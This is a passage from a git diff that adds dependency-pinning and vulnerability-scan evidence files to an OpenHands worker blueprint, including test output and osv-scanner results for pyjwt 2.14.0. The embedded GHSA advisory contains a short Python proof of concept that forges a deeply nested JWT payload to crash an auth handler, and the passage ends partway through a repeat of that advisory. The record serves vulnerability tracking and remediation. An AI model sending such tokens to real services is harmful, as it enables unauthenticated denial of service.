"returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-ci-config.txt" + }, + { + "id": "osv-empty-config", + "exit_code": 1, + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-empty-config.txt" + }, + { + "id": "selected-dependency-comparison", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-selected-dependency-comparison.txt" + }, + { + "id": "native-uv-version", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-uv-version.txt" + }, + { + "id": "native-compile-help", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-compile-help.txt" + }, + { + "id": "installer-lock-consumers", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-installer-lock-consumers.txt" + }, + { + "id": "tagged-install-policy", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-tagged-install-policy.txt" + } + ], + "bound_files": [ + { + "path": "blueprints/runtime-workers/openhands/requirements.lock", + "sha256": "383ccc5b87702174e471732872f002f1621186710402d048acc2b1910306e106" + }, + { + "path": "blueprints/runtime-workers/openhands/pins.json", + "sha256": "2f87fb6e92f83c6afc52c804a25eec93d35deb08e16c767529de21195adbed3b" + }, + { + "path": "blueprints/runtime-workers/openhands/build-requirements.lock", + "sha256": "32cff7dc47659683a19936944a47123160731a2bdb711aee78a7d63fbab205e2" + }, + { + "path": "blueprints/runtime-workers/openhands/host.py", + "sha256": "00551430ef463323706866f65a91a3086af12299259cb6a619e651419e982e3f" + }, + { + "path": "blueprints/runtime-workers/openhands/install.sh", + "sha256": "4163d3e0d8eda0d61d2e832d6ffd1690348f71ddf03d1a3c99651635b3b53815" + }, + { + "path": "blueprints/runtime-workers/openhands/install-container.sh", + "sha256": "3824f5dbcfe4751884bcb1699faff3c994a6e17a77b81c5866d49b6565595051" + }, + { + "path": "blueprints/runtime-workers/openhands/install-grader.sh", + "sha256": "84c23ee6ab190562761d65aca61d50d8a4bf33e0285f180dc00a1df3a288a243" + }, + { + "path": "tests/test_openhands_150.py", + "sha256": "920cbacf71beeb1fe470f3386c11ffa6401ddd73dbfd4d91455661edf81fffd3" + }, + { + "path": ".github/workflows/security-scan.yml", + "sha256": "88a47e2cf7c16078331a4052c08bf88bc10ed9c70c167d863cd8e581c1a0ef14" + } + ], + "artifacts": [ + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-actual-sdk-fixtures.txt", + "sha256": "9ee6941fd3b532f888b320a474ecb708381be64de27696ffb232a13c9128c942" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-build-hash-install.txt", + "sha256": "80895466bdc4ad6866212c83c305b8cf27487d8b9634b661a9b6e6301d129905" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-commands.json", + "sha256": "3bdf5759ab4cec5b673d610765b81510bafb5981a6c0428aba8515c3a865e9b5" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-compare.py.txt", + "sha256": "af2e609f21fb3e166d56362d1cc93899fdbf428421db7ee5560d5f730d22881f" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-constraints.txt", + "sha256": "b4e06f725855214b283cbcd92068cbb45dd3d272114079f1696a7542ab9a94dd" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-dependency-comparison.json", + "sha256": "b01a987646e5ba167193335d69c98455739825148d15b75fee1982669185831e" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-fresh-extraction-reproduction.txt", + "sha256": "5381b4f38ab482bd0d2fac4a7fb2dd41300cd2652aae4f660a343b58b8e2a639" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-fresh-venv.txt", + "sha256": "0f927255ceb258c775cc1b0ee5c567286601dd50baa798b4fc1e0b9e7a28fc91" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-installer-lock-consumers.txt", + "sha256": "aa2e7e6fee6e3182264dfbc735ab1b5ff13cb742533e8e36435fb4d9503e4e5a" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-maintained-jwt-callers.txt", + "sha256": "5296678744ff15c582c0a124b96a86269c42391a707eaff59ea6c28286e7030c" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-compile-help.txt", + "sha256": "8272c771ab3ecdc939cf410702e08d5ac8b59cd42191b509049b0663520edfcf" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-compile.txt", + "sha256": "fe3190bc61053e8e4fe48dde38b3b2f6ad2f402dfcfdd89d1ab3683e6cd3c39d" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-imports.txt", + "sha256": "477c405a25e4b1ef4ee5c76b1e550a0a34eefcc74bf861497ef8201a672dc713" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-pip-check.txt", + "sha256": "ab7fb266794b383e8a044606ea2e3ddc463349c485eab928a18d2ee997c093b6" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-uv-version.txt", + "sha256": "0b702db49c11107d0b91e82c5383951e017f1ae993fcf68a24841f5a8d5f6598" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-oauthlib-alias-callers.txt", + "sha256": "7e5fd6fc81d63c595e3083e01da2b700a184fcec7f7f9db6619732b494dd5083" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-ci-config.json", + "sha256": "54345d5194d238b6017d0f3181f392109ce35023cc6b4bdfa8c134943dcb578e" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-ci-config.txt", + "sha256": "83832fb09f1d62770d7d816582db36510d2555e61880880db0b41e35f91e3295" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-empty-config.json", + "sha256": "afad529ade6763e00b9d46db35ff6f40cc52848858b97432057f98d48a15d25a" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-empty-config.txt", + "sha256": "abec7ffb9d6114ead2d7093b4b52f889d96ee5ea98da3dd0f9d3fe0752174908" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-version.txt", + "sha256": "e1ecb1656b9241ee137b2610c19d972bdaba712570cc86a8883db7d2f295fb8f" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-published-artifact-source-identity.txt", + "sha256": "9622f25bfe5b9244dd4160b7c05bedce18cde7b2e5c7562eeed76ce9787b031d" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-published-artifacts.json", + "sha256": "b475ffaa58caaf803bbc600712484c8a2d905904f698d06da57b06d1d46c8d0b" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-requirements.in.txt", + "sha256": "058d660527965a2713aaad24bc56f15e79829a37029dfa2f64f8e8fcb1e16fba" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-reviewed-main-blob.txt", + "sha256": "9d780b5e01c1b2a36e7e2a42b12a929e97b76a0bfb9debbcbd0a8acc580c0f30" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-runtime-hash-install.txt", + "sha256": "e3e3d32e8e589d62680e772469f5820fa1e7e9077d457ba5c8d55f97adc5a475" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-selected-dependency-comparison.txt", + "sha256": "93799677e0177cfb784b6d3ce779efc5e2980a15ad71d225b627f72ffd349989" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-tagged-install-policy.txt", + "sha256": "0c4c7d8e6ecf05add855a03004cd9921af7a03c97d20a026cb1066dccfb05542" + } + ] +} diff --git a/blueprints/runtime-workers/openhands/evidence/pins-1.49.6.json b/blueprints/runtime-workers/openhands/evidence/pins-1.49.6.json new file mode 100644 index 000000000..910d68f2a --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pins-1.49.6.json @@ -0,0 +1,72 @@ +{ + "schema_version": 1, + "version": "1.49.6", + "tag": "v1.49.6", + "repository": "https://github.com/OpenHands/software-agent-sdk", + "commit": "fcc102a697874d54a357e36004e02c95040dbdc0", + "source_archive": { + "url": "https://codeload.github.com/OpenHands/software-agent-sdk/tar.gz/fcc102a697874d54a357e36004e02c95040dbdc0", + "sha256": "2d3006de86eaec690a82e497fcd4459816637afe6e53f7da87783183792148a8" + }, + "uv_lock": { + "url": "https://raw.githubusercontent.com/OpenHands/software-agent-sdk/fcc102a697874d54a357e36004e02c95040dbdc0/uv.lock", + "sha256": "d13a41b86c48e66e1719b19d8e2d3a315abfab87c257fb18881ce4e31075c910" + }, + "image": { + "tag_observed": "1.49.6-python", + "ref": "ghcr.io/openhands/agent-server@sha256:02ef66fdf0b22a40b0b55c5cca8d1790cfd260c5069f7c0b99edc1b505d5ab37", + "platform": "linux/amd64", + "manifest_sha256": "ec7ed86f4021a21e161815853156521b44929d913f2e6ee06a173ef2f660aa12", + "config_sha256": "39426d8ce5c3ecaf6829063ec8ccfe5c289f049ae007fb14d89317b3982d196f", + "provenance": "GHCR returned manifest bytes SHA256; image config OPENHANDS_BUILD_GIT_SHA and OPENHANDS_BUILD_GIT_REF match the SDK tag." + }, + "gateway_proxy": { + "tag_observed": "1.30.5-alpine", + "ref": "ghcr.io/nginx/nginx-unprivileged@sha256:ed04ec1ff34502c339ee5c3ae3f855442398edc1d05591e2b98981dcbbd20b1e", + "platform": "linux/amd64", + "manifest_sha256": "f4522a5f23f9caebcae9be6e3940ea0599a2b9eb05222c7118d01fc887e848d6", + "config_sha256": "61640a44f99dcfd7f1af9f144f023195e82fdefd2f5aba7f917548867d4f3a6f", + "source": "https://github.com/nginx/docker-nginx-unprivileged/tree/588b4cbc88065a313909f47a02510639e01cc508", + "provenance": "Anonymous GHCR OCI reads on 2026-09-28: the SHA256 of the returned index, linux/amd64 manifest and config bytes equal their digests. Config: NGINX_VERSION=1.30.5, org.opencontainers.image.version 1.30.5-alpine, revision 588b4cbc, user 101, exposed 8080/tcp. Pulled by index digest into the rootless store and checked with host.pinned_image_identity." + }, + "wheels": { + "openhands-sdk": { + "url": "https://files.pythonhosted.org/packages/e9/ac/d27c5becc3b59b8cc46a1614ac478cc94eb73e626ab15831906fcdaafb29/openhands_sdk-1.49.6-py3-none-any.whl", + "sha256": "3b4701f125925e804929ab02b61fe2fe10b4fb1e7d723a2c4afdea35566328bb", + "filename": "openhands_sdk-1.49.6-py3-none-any.whl" + }, + "openhands-tools": { + "url": "https://files.pythonhosted.org/packages/68/20/27d6d20cc8f3465ec861c450bc0113c8646285aa6c8f4291b62366dcb8a2/openhands_tools-1.49.6-py3-none-any.whl", + "sha256": "11e57a6635fd93c9f1fed14f804ab6f24a4873f75a2d35f0d1c3e57df2c51c87", + "filename": "openhands_tools-1.49.6-py3-none-any.whl" + } + }, + "requirements_sha256": "14e57b8d947e62ed60e7bbc69c2e6cc55638a86fa8969d528cbdf591cd42ae64", + "build_requirements_sha256": "32cff7dc47659683a19936944a47123160731a2bdb711aee78a7d63fbab205e2", + "grader": { + "repository": "https://github.com/OpenHands/benchmarks", + "commit": "405bae7140d7e961a75f4910a0b2e7069731db96", + "sdk_submodule_commit": "43376f1868ffd702746080714a59c16d3f69ec12", + "swebench_version": "4.1.0", + "swebench_wheel_sha256": "1243776f720047cc9e20a427f7a52b75c13a07abda6154fb60fe77f82ec8af57", + "installation": "uv sync --locked --dev --no-build-isolation --inexact with hashed build-requirements.lock", + "uv_lock_sha256": "287a42d2157d044ca0f5e723fe3a05c1e4bdf6413049370360226374db6d7e8c", + "lock_source": "OpenHands/benchmarks@405bae7140d7e961a75f4910a0b2e7069731db96 uv.lock; Makefile:33-42", + "uv_version": "0.12.17", + "uv_source": "adoption/pins-linux-x86_64.json uv archive; astral-sh/uv@0.12.17", + "build_source": "OpenHands/software-agent-sdk@43376f1868ffd702746080714a59c16d3f69ec12 openhands-sdk/pyproject.toml:36-38; tools:26-28; agent-server:27-29; workspace:19-21", + "verdict": "swebench.harness.run_evaluation official Docker tests and resolved_ids", + "evaluation_image": "Required per-instance digest in frozen OPENHANDS_GRADER_IMAGE_FILE; no task or digest selected in this worktree", + "runner_up": { + "repository": "https://github.com/harbor-framework/harbor", + "tag": "v0.23.0", + "reason": "Terminal-Bench uses a different task contract." + } + }, + "canvas": { + "tag": "v1.24.0", + "repository": "https://github.com/OpenHands/OpenHands", + "commit": "7dc6805406ea3c76cb4a3ce407c3c72d481b0ac6", + "install": false + } +} diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-actual-sdk-fixtures.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-actual-sdk-fixtures.txt new file mode 100644 index 000000000..d609d15bf --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-actual-sdk-fixtures.txt @@ -0,0 +1,36 @@ +argv: ["rtk", "proxy", "/venv/bin/python", "-m", "unittest", "tests.test_openhands_150", "-v"] +cwd: +started_utc: 2026-09-30T17:14:33.300603+00:00 +ended_utc: 2026-09-30T17:14:42.575910+00:00 +exit_code: 0 + +stdout: + +stderr: +test_native_task_hook_refuses_ambient_and_recursive_agents (tests.test_openhands_150.OpenHands150Profiles.test_native_task_hook_refuses_ambient_and_recursive_agents) ... ok +test_profiles_are_bounded_and_services_are_task_scoped (tests.test_openhands_150.OpenHands150Profiles.test_profiles_are_bounded_and_services_are_task_scoped) ... ok +test_sampling_is_rejected_before_any_request (tests.test_openhands_150.OpenHands150Profiles.test_sampling_is_rejected_before_any_request) ... ok +test_skill_objects_are_role_selected_and_github_descriptions_are_scoped (tests.test_openhands_150.OpenHands150Profiles.test_skill_objects_are_role_selected_and_github_descriptions_are_scoped) ... ok +test_goal_status_is_lifecycle_output_and_preserves_active_judge_round (tests.test_openhands_150.OpenHands150Recovery.test_goal_status_is_lifecycle_output_and_preserves_active_judge_round) ... ok +test_independent_observer_rejects_fixture_and_model_store_sources (tests.test_openhands_150.OpenHands150Recovery.test_independent_observer_rejects_fixture_and_model_store_sources) ... ok +test_interrupt_resume_preserves_native_conversation_deadline_and_reservation (tests.test_openhands_150.OpenHands150Recovery.test_interrupt_resume_preserves_native_conversation_deadline_and_reservation) ... ok +test_actual_native_profiles_and_children_keep_explicit_route_tools_skills (tests.test_openhands_150.OpenHands150Transport.test_actual_native_profiles_and_children_keep_explicit_route_tools_skills) ... +----------------------------------------------------------------------+ +| OpenHands SDK v1.50.0 | +| | +| Report a bug: github.com/OpenHands/software-agent-sdk/issues | +| Get help: openhands.dev/joinslack | +| Scale up: openhands.dev/product/sdk | +| | +| Set OPENHANDS_SUPPRESS_BANNER=1 to hide this message | ++----------------------------------------------------------------------+ + +ok +test_actual_native_sdk_completion_uses_responses_dispatch (tests.test_openhands_150.OpenHands150Transport.test_actual_native_sdk_completion_uses_responses_dispatch) ... ok +test_completion_bridge_preserves_native_contract_and_restores_methods (tests.test_openhands_150.OpenHands150Transport.test_completion_bridge_preserves_native_contract_and_restores_methods) ... ok +test_goal_adapter_keeps_native_loop_and_separate_judge_metrics (tests.test_openhands_150.OpenHands150Transport.test_goal_adapter_keeps_native_loop_and_separate_judge_metrics) ... ok +test_p3_native_tool_replay_and_query_denial_are_fixture_only (tests.test_openhands_150.OpenHands150Transport.test_p3_native_tool_replay_and_query_denial_are_fixture_only) ... ok + +---------------------------------------------------------------------- +Ran 12 tests in 7.845s + +OK diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-current-config.json b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-current-config.json new file mode 100644 index 000000000..7a462d7b4 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-current-config.json @@ -0,0 +1,135 @@ +{ + "results": [ + { + "source": { + "path": "/baseline.lock", + "type": "lockfile" + }, + "packages": [ + { + "package": { + "name": "pyjwt", + "version": "2.14.0", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-42vr-xj54-vc7v" + ], + "aliases": [ + "CVE-2026-101918", + "GHSA-42vr-xj54-vc7v" + ], + "max_severity": "5.3" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "last_known_affected_version_range": "\u003c= 2.14.0", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-42vr-xj54-vc7v/GHSA-42vr-xj54-vc7v.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "pyjwt", + "purl": "pkg:pypi/pyjwt" + }, + "ranges": [ + { + "events": [ + { + "introduced": "2.0.0a1" + }, + { + "fixed": "2.15.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "2.0.0", + "2.0.0a1", + "2.0.0a2", + "2.0.1", + "2.1.0", + "2.10.0", + "2.10.1", + "2.11.0", + "2.12.0", + "2.12.1", + "2.13.0", + "2.14.0", + "2.2.0", + "2.3.0", + "2.4.0", + "2.5.0", + "2.6.0", + "2.7.0", + "2.8.0", + "2.9.0" + ] + } + ], + "aliases": [ + "CVE-2026-101918" + ], + "database_specific": { + "cwe_ids": [ + "CWE-248" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-30T15:41:05Z", + "nvd_published_at": "2026-09-28T21:17:13Z", + "severity": "MODERATE" + }, + "details": "## Summary\n\n`PyJWKClient.get_signing_key_from_jwt(token)` — the first step of the JWKS\nverification flow documented in `docs/usage.rst` — must decode a token's\npayload before its signature can be checked, via\n`jwt.api_jwt.decode_complete(token, options={\"verify_signature\": False})`.\nThat call parses the payload with `json.loads` in `PyJWT._decode_payload`\n(`jwt/api_jwt.py:297-300`), whose `except` clause catches only `ValueError`.\nA payload that is valid JSON but nested ~20,000 levels deep makes\n`json.loads` raise `RecursionError`, which is **not** a `ValueError` and\nescapes as a raw, undocumented exception type — not `DecodeError`,\n`InvalidTokenError`, or `PyJWTError`, so every documented error-handling\npattern in `docs/usage.rst` misses it.\n\nThe token needs no valid signature and no network access — the crash\nhappens during payload parsing, before the `kid` is even looked up. A\nsingle unauthenticated ~50KB request crashes the caller's auth handler\n(HTTP 500 / dead worker), repeatably. The same path is reachable through\nplain `jwt.decode(token, options={\"verify_signature\": False})` too.\n\nNotably, this project already fixed the **identical** bug class for the\nJWS **header** path — `PyJWS._load` catches `(ValueError, RecursionError)`\nand wraps it in `DecodeError` (`jwt/api_jws.py:360-361`), and\n`CHANGELOG.rst` (v2.14.0, \"Security\") states \"Handle deeply nested and\nmalformed JWS/JWK input without uncaught recursion errors.\" The payload\npath — the one part of a forged token an unauthenticated attacker fully\ncontrols — was left catching `ValueError` alone, so that security fix does\nnot fully hold.\n\nA second, related instance: `PyJWKClient.fetch_data` (`jwt/jwks_client.py:168`)\nparses a JWKS endpoint's response with `json.load(response)` inside a\n`try` that only catches `(URLError, TimeoutError, http.client.HTTPException)`\n— a deeply-nested JSON response from a JWKS endpoint raises the same raw\n`RecursionError`, uncaught entirely (worse than the payload path, which at\nleast caught plain `ValueError`).\n\n**Affected versions:** confirmed present in the current release, 2.14.0,\nand on the current `master` branch (commit `4adcd02722f5011c60079d3978dfc167b9a8eaa5`).\n\n## Reproduction\n\n```python\nimport base64, json, jwt\n\ndef b64url(b):\n return base64.urlsafe_b64encode(b).rstrip(b\"=\")\n\nheader = b64url(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\npayload = b64url(b\"[\" * 20_000 + b\"]\" * 20_000)\ntoken = (header + b\".\" + payload + b\".\" + b64url(b\"forged-sig\")).decode()\n\njwt.decode(token, options={\"verify_signature\": False})\n# raises: RecursionError (not DecodeError/InvalidTokenError/PyJWTError)\n```\n\nControl: the same deeply-nested structure moved into the token's **header**\ninstead of its payload is correctly converted to `jwt.DecodeError` by the\nalready-hardened `jwt/api_jws.py:360` — confirming the payload path is\nspecifically the missed half of the v2.14.0 hardening, not a general gap.\n\n## Impact assessment\n\nUnauthenticated denial-of-service via unhandled exception on an auth path.\nNot an auth bypass — rated medium. With signature verification enabled,\nthis parse runs after `_verify_signature`, so only the pre-verification\npaths (`get_signing_key_from_jwt`, explicit `verify_signature=False`) are\nattacker-reachable pre-auth; the JWKS-endpoint variant requires control of\n(or a MITM on) the configured JWKS endpoint rather than being reachable\nfrom an arbitrary client token.\n\n## Suggested fix\n\nIn `jwt/api_jwt.py:299`, change `except ValueError as e:` to\n`except (ValueError, RecursionError) as e:`, mirroring\n`jwt/api_jws.py:360` exactly. In `jwt/jwks_client.py`, add the same\n`(ValueError, RecursionError)` handling around `json.load(response)` in\n`fetch_data`, raising `PyJWKClientError` (consistent with the method's\nexisting documented error contract). A patch implementing both, verified\nagainst the full test suite (457 passed, 4 skipped — pre-existing,\nenvironment-related) and against the reproduction above (now correctly\nraises `DecodeError`), is attached (`fix.patch`).\n\n## Discovery method\n\nFound and verified using `scopegrep` (https://github.com/not-ekalabya/scopegrep)\n— a semantic code-retrieval tool that surfaces every other call site of a\nsymbol alongside relevance-ranked results, which is what surfaced the\nalready-hardened header path as the direct comparison here — paired with\nan LLM coding agent (GLM-5.3) run as an open-ended security review of this\nrepository. Independently reproduced against the exact commit above before\nthis report was written. Happy to share the full session transcript on\nrequest.\n\n## Disclosure status\n\nNot shared with any other party or published. Submitting through this\nprivate channel per the project's stated security policy; no planned\npublic/conference disclosure ahead of a coordinated timeline.\n\n\n---\n\n## Maintainer triage update (2026-09-22)\n\n### Confirmed finding and scope\n\nWe confirmed that an attacker-controlled recursively nested JWT payload can cause a raw Python `RecursionError` to escape PyJWT at PyJWT 2.14.0 and the tested current source. The confirmed in-scope paths are direct decoding with `verify_signature=False` and `PyJWKClient.get_signing_key_from_jwt`, where payload parsing occurs before key lookup.\n\nThe demonstrated impact is limited to an uncaught exception for the affected call, which may surface as an application HTTP 500 when the application does not catch it. Testing did not demonstrate a worker or process crash, persistent resource exhaustion, resource amplification, authentication bypass, or confidentiality or integrity impact.\n\nThe separate JWKS-response subclaim is out of scope under the policy boundary that requires the application to trust its configured JWKS source and transport. The confirmed payload finding is not a duplicate of the earlier protected-header parser finding: it occurs in a distinct payload parsing path that remained affected after the earlier header-only fix.\n\n### Version and remediation status\n\nHistorical testing reproduced the confirmed payload behavior in all 20 official supported PyJWT 2.x releases from 2.0.0a1 through 2.14.0, inclusive. Unsupported PyJWT 1.7.1 also reproduces the behavior, but it is excluded from the advisory range under the supported-2.x policy. No supported unaffected release and no patched release exists. The exact evidence is `/.codex/security-advisories/pyjwt/GHSA-42vr-xj54-vc7v-historical-range-20260922.md` (SHA-256 `c48f1ac35641e9382d53e6a879a71ad9a8fb4432bbe871f2b8330f8d166a2d81`) and `/.codex/security-advisories/pyjwt/historical-range-42vr-20260922/historical-range-results.json` (SHA-256 `324997f231561bf6da39b8f9d1e272f69bfde8871a7863f5cb7b70e22e91f076`). The evidence-backed supported affected range is `\u003e= 2.0.0a1, \u003c= 2.14.0`.\n\nHistorical range verification is complete. A local fix commit exists and has passed independent review and the complete local CI suite, but it has not been merged into `master` or released. Consequently, `patched_versions` remains empty and this advisory remains in `triage`. The remaining next step is a maintainer decision on remediation and merge. After a fix lands in `master` and is released, `patched_versions` and advisory lifecycle can be updated in a separate approved batch.\n\n---\n\n## Maintainer remediation update (2026-09-23)\n\nThe confirmed payload-parser finding has been fixed on `master`. Commit\n`5fde08a6cf906aa7698de2d6391d88b73006b17b` converts a recursive\npayload parse failure to the expected `DecodeError`; commit\n`9bc06658f875b9b40091539140bbbdc4639161c3` makes the regression tests\ndeterministic across supported Python versions. This update supersedes the\n2026-09-22 remediation-status statement that the fix had not landed.\n\nThe original pre-verification payload reproducer and the\n`PyJWKClient.get_signing_key_from_jwt` path were covered by regression tests.\nThe exact landed tree passed the full 39-environment local tox matrix and\nGitHub CI for commit `9bc06658f875b9b40091539140bbbdc4639161c3` passed\nall 25 jobs, including Ubuntu Python 3.14 and 3.15. The demonstrated impact\nremains an uncaught request-level exception in affected releases; there is\nstill no evidence of process termination, persistent resource exhaustion,\nauthentication bypass, or confidentiality or integrity impact.\n\nThe supported affected range remains `\u003e= 2.0.0a1, \u003c= 2.14.0`. The latest\nreleased version is 2.14.0, which predates these commits; no released\npatched version exists yet, so `patched_versions` remains unset. CVSS v3.1\n5.3 (Medium) and CWE-248 remain unchanged. The advisory may now move from\ntriage to private draft. The next lifecycle step is a new supported 2.x\nrelease containing the fix, followed by separately approved patched-version\nand publication updates after release verification.\n\n---\n\n## Maintainer release update (2026-09-23)\n\nPyJWT 2.15.0 is the first released version containing the payload-parser fix. Its GitHub release tag points to commit `1d41a6478e1562e68ff667fcd703356acf085f68`, which includes fix commit `5fde08a6cf906aa7698de2d6391d88b73006b17b` and deterministic regression-test commit `9bc06658f875b9b40091539140bbbdc4639161c3`. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.\n\nThe published PyPI wheel (`pyjwt-2.15.0-py3-none-any.whl`, SHA-256 `7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8`) was checked directly: the deeply nested unsigned payload now raises `DecodeError`, while an ordinary unsigned payload still decodes. The supported affected range remains `\u003e= 2.0.0a1, \u003c= 2.14.0`; the patched version is `2.15.0`. Earlier statements in this advisory that no released patched version exists are superseded by this update.\n\nThe confirmed impact remains an uncaught request-level exception in affected versions, not a demonstrated process crash or authentication bypass. The separate JWKS-response subclaim remains outside this advisory's confirmed PyJWT-owned scope.", + "id": "GHSA-42vr-xj54-vc7v", + "modified": "2026-09-30T16:00:09.812873551Z", + "published": "2026-09-30T15:41:05Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-42vr-xj54-vc7v" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101918" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/commit/5fde08a6cf906aa7698de2d6391d88b73006b17b" + }, + { + "type": "PACKAGE", + "url": "https://github.com/jpadilla/pyjwt" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.15.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", + "type": "CVSS_V3" + } + ], + "summary": "PyJWT: Unauthenticated RecursionError DoS in pre-verification payload parse (PyJWKClient.get_signing_key_from_jwt / verify_signature=False)" + } + ] + } + ] + } + ], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-current-config.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-current-config.txt new file mode 100644 index 000000000..f8c2a8d94 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-current-config.txt @@ -0,0 +1,154 @@ +argv: ["rtk", "proxy", "/osv-scanner", "scan", "source", "--config", "/ci-config.toml", "--no-resolve", "--lockfile=requirements.txt:/baseline.lock", "--format", "json"] +cwd: +started_utc: 2026-09-30T17:01:27.811434+00:00 +ended_utc: 2026-09-30T17:01:28.550964+00:00 +exit_code: 1 + +stdout: +{ + "results": [ + { + "source": { + "path": "/baseline.lock", + "type": "lockfile" + }, + "packages": [ + { + "package": { + "name": "pyjwt", + "version": "2.14.0", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-42vr-xj54-vc7v" + ], + "aliases": [ + "CVE-2026-101918", + "GHSA-42vr-xj54-vc7v" + ], + "max_severity": "5.3" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "last_known_affected_version_range": "\u003c= 2.14.0", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-42vr-xj54-vc7v/GHSA-42vr-xj54-vc7v.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "pyjwt", + "purl": "pkg:pypi/pyjwt" + }, + "ranges": [ + { + "events": [ + { + "introduced": "2.0.0a1" + }, + { + "fixed": "2.15.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "2.0.0", + "2.0.0a1", + "2.0.0a2", + "2.0.1", + "2.1.0", + "2.10.0", + "2.10.1", + "2.11.0", + "2.12.0", + "2.12.1", + "2.13.0", + "2.14.0", + "2.2.0", + "2.3.0", + "2.4.0", + "2.5.0", + "2.6.0", + "2.7.0", + "2.8.0", + "2.9.0" + ] + } + ], + "aliases": [ + "CVE-2026-101918" + ], + "database_specific": { + "cwe_ids": [ + "CWE-248" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-30T15:41:05Z", + "nvd_published_at": "2026-09-28T21:17:13Z", + "severity": "MODERATE" + }, + "details": "## Summary\n\n`PyJWKClient.get_signing_key_from_jwt(token)` — the first step of the JWKS\nverification flow documented in `docs/usage.rst` — must decode a token's\npayload before its signature can be checked, via\n`jwt.api_jwt.decode_complete(token, options={\"verify_signature\": False})`.\nThat call parses the payload with `json.loads` in `PyJWT._decode_payload`\n(`jwt/api_jwt.py:297-300`), whose `except` clause catches only `ValueError`.\nA payload that is valid JSON but nested ~20,000 levels deep makes\n`json.loads` raise 